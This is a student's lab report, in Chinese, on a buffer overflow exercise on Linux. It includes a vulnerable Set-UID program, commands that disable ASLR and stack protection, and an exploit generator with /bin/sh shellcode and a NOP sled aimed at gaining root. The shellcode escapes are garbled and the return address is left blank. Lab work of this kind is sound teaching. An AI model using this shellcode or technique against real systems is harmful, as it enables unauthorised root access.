缓冲区溢出漏洞实验

缓冲区溢出漏洞实验

1. 在自己的ubuntu上做的时候一堆错误，百度解决无果后，在实验楼上完成了此次实验。、

安装一些用于编译32位C程序的东西

• 在安装的过程中，出现了输入linux32出现了source:not found，仔细检查指令无问题后，个人认为是没有安装成功，再次输入指令还是提示source：not found。
• 后面结束实验退出，在进入，再退出在进入，还是一样的，在第四次是提示取消
  

初始设置

1. Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键
2. 所以我们需要关闭地址空间随机化来随机堆（heap）和栈（stack）的初始地址使用sudo sysctl -w kernel.randomize_va_space=0
   

设置zsh程序

为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。

linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

• 一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

• shellcode代码的汇编版本：

漏洞程序

• 把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}

• 通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

• 编译该程序，并设置SET-UID。GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
  
  

而 -z execstack 用于允许执行栈。

• 命令如下：

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

攻击程序

• 我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。

• 把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"x31xc0"    //xorl %eax,%eax
"x50"        //pushl %eax
"x68""//sh"  //pushl $0x68732f2f
"x68""/bin"  //pushl $0x6e69622f
"x89xe3"    //movl %esp,%ebx
"x50"        //pushl %eax
"x53"        //pushl %ebx
"x89xe1"    //movl %esp,%ecx
"x99"        //cdq
"xb0x0b"    //movb $0x0b,%al
"xcdx80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

• 注意上面的代码，“x??x??x??x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack

disass main

攻击结果

问题

1. 缓冲区漏洞能有多大危害

• 缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。
• 原理：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

2. root权限是什么

• root权限，系统权限的一种，也叫根权限，与SYSTEM权限可以理解成一个概念，但高于Administrator权限，root是Linux和unix系统中的超级管理员用户帐户，该帐户拥有整个系统至高无上的权力，所有对象他都可以操作。获得root权限之后就意味着已经获得了系统的最高权限，这时候你可以对系统中的任何文件（包括系统文件）执行所有增、删、改、查的操作。
• 获得root权限之后就可以为所欲为。

心中未解答的疑问

1. exploit.c中覆盖缓冲区用了24个x90，为什么是这么多个，是怎么计算出来的？
2. strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");怎么知道esp中是str的起始地址